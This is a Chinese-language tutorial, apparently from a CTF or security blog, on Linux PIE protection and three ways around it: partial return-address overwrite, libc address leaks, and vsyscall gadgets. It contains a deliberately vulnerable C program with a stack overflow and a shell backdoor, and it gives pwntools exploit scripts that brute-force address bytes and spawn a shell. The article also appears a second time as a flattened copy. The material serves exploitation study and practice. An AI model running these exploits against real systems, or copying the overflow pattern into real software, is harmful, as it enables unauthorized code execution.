PIE保护详解和常用bypass手法
字数 1185 2025-08-24 20:49:31

PIE保护详解及常用绕过手法

一、PIE保护概述

PIE(Position-Independent Executable,地址无关可执行文件)是一种针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的防护技术。当程序开启PIE保护时,每次加载程序都会变换加载地址,这使得传统的ROP攻击变得困难。

PIE保护效果对比

不开启PIE保护

  • 编译命令:gcc -fno-stack-protector -no-pie -s test.c -o test
  • 特点:每次运行时加载地址不变

开启PIE保护

  • 特点:每次运行时加载地址随机变化

二、PIE绕过技术

1. Partial Write(部分写入)

原理

  • 内存以页(0x1000字节)为单位载入
  • 开启PIE时,同一页内的地址后三位十六进制数不变
  • 通过覆盖地址的后几位来控制程序流程

示例代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void houmen() {
    system("/bin/sh");
}

void vuln() {
    char a[20];
    read(0,a,0x100);
    puts(a);
}

int main(int argc, char const *argv[]) {
    vuln();
    return 0;
}

利用方法

  1. 找到目标函数地址与返回地址的差异
  2. 覆盖地址的后4位(倒数第四位需要爆破,范围0x0-0xf)

EXP代码

#coding:utf-8
import random
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

offset = 0x1c+4
list1 = ["\x05","\x15","\x25","\x35","\x45","\x55","\x65","\x75","\x85","\x95","\xa5","\xb5","\xc5","\xd5","\xe5","\xf5"]

while True:
    try:
        p = process("./test")
        payload = offset*"a"+"\x7d"+random.sample(list1,1)[0]
        p.send(payload)
        p.recv()
        p.recv()
    except Exception as e:
        p.close()
        print e

2. 地址泄露

原理

  • PIE只影响程序加载基地址,不影响指令间相对地址
  • 通过泄露程序或libc的某些地址,计算偏移来构造ROP

利用方法

  1. 找到程序中的信息泄露漏洞
  2. 泄露__libc_start_main+231push r15等关键地址
  3. 计算libc基地址和程序加载基地址

EXP示例

#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
r = process("./pwn")

__libc_start_main_231_offset = 0x150+296

# 泄露__libc_start_main+231地址
for x in range(8):
    r.recvuntil("input index\n")
    r.sendline(str(__libc_start_main_231_offset+x))
    # ... 省略部分代码 ...

# 计算基地址
__libc_start_main_addr = __libc_start_main_231_addr-231
libc = ELF("./libc.so.6")
base_addr = __libc_start_main_addr-libc.symbols["__libc_start_main"]
system_addr = libc.symbols['system']+base_addr
bin_sh_addr = 0x000000000017d3f3+base_addr

3. vdso/vsyscall利用

vsyscall介绍

  • 加速系统调用的机制,将常用内核调用映射到用户空间
  • 地址固定不变(可通过cat /proc/self/maps| grep vsyscall查看)
  • 包含三个系统调用:
    • __NR_gettimeofday (96)
    • __NR_time (201)
    • __NR_getcpu (309)

特点

  • vsyscall:必须从函数开头执行,否则会段错误
  • vdso:指令可任意执行,但地址随机化(32位下爆破较容易)

利用方法

  1. 使用vsyscall中的固定地址作为gadget
  2. 常用地址:
    • 0xffffffffff600000
    • 0xffffffffff600400
    • 0xffffffffff600800

EXP示例

from pwn import * 

io = process('1000levels', env={'LD_PRELOAD':'./libc.so.6'})

libc_base = -0x456a0
one_gadget_base = 0x45526
vsyscall_gettimeofday = 0xffffffffff600000

# ... 省略部分代码 ...

io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3) 
io.interactive()

三、技术要点总结

  1. Partial Write

    • 利用内存页对齐特性
    • 需要爆破部分地址位
    • 适用于地址差异小的场景
  2. 地址泄露

    • 需要找到信息泄露漏洞
    • 计算相对偏移是关键
    • 适用于有信息泄露条件的场景
  3. vsyscall/vdso

    • vsyscall地址固定但执行限制严格
    • vdso灵活但地址随机
    • 32位环境下vdso爆破更可行

四、参考文献

  1. hitb2017 - 1000levels [Study]
  2. 相关系统调用定义:
    #define __NR_gettimeofday 96
    #define __NR_time 201
    #define __NR_getcpu 309
    

注意:实际利用时需要根据目标环境调整偏移和地址,测试时建议在调试环境下进行。

PIE保护详解及常用绕过手法 一、PIE保护概述 PIE(Position-Independent Executable,地址无关可执行文件)是一种针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的防护技术。当程序开启PIE保护时,每次加载程序都会变换加载地址,这使得传统的ROP攻击变得困难。 PIE保护效果对比 不开启PIE保护 : 编译命令: gcc -fno-stack-protector -no-pie -s test.c -o test 特点:每次运行时加载地址不变 开启PIE保护 : 特点:每次运行时加载地址随机变化 二、PIE绕过技术 1. Partial Write(部分写入) 原理 内存以页(0x1000字节)为单位载入 开启PIE时,同一页内的地址后三位十六进制数不变 通过覆盖地址的后几位来控制程序流程 示例代码 利用方法 找到目标函数地址与返回地址的差异 覆盖地址的后4位(倒数第四位需要爆破,范围0x0-0xf) EXP代码 2. 地址泄露 原理 PIE只影响程序加载基地址,不影响指令间相对地址 通过泄露程序或libc的某些地址,计算偏移来构造ROP 利用方法 找到程序中的信息泄露漏洞 泄露 __libc_start_main+231 和 push r15 等关键地址 计算libc基地址和程序加载基地址 EXP示例 3. vdso/vsyscall利用 vsyscall介绍 加速系统调用的机制,将常用内核调用映射到用户空间 地址固定不变(可通过 cat /proc/self/maps| grep vsyscall 查看) 包含三个系统调用: __NR_gettimeofday (96) __NR_time (201) __NR_getcpu (309) 特点 vsyscall :必须从函数开头执行,否则会段错误 vdso :指令可任意执行,但地址随机化(32位下爆破较容易) 利用方法 使用vsyscall中的固定地址作为gadget 常用地址: 0xffffffffff600000 0xffffffffff600400 0xffffffffff600800 EXP示例 三、技术要点总结 Partial Write : 利用内存页对齐特性 需要爆破部分地址位 适用于地址差异小的场景 地址泄露 : 需要找到信息泄露漏洞 计算相对偏移是关键 适用于有信息泄露条件的场景 vsyscall/vdso : vsyscall地址固定但执行限制严格 vdso灵活但地址随机 32位环境下vdso爆破更可行 四、参考文献 hitb2017 - 1000levels [ Study ] 相关系统调用定义: 注意:实际利用时需要根据目标环境调整偏移和地址,测试时建议在调试环境下进行。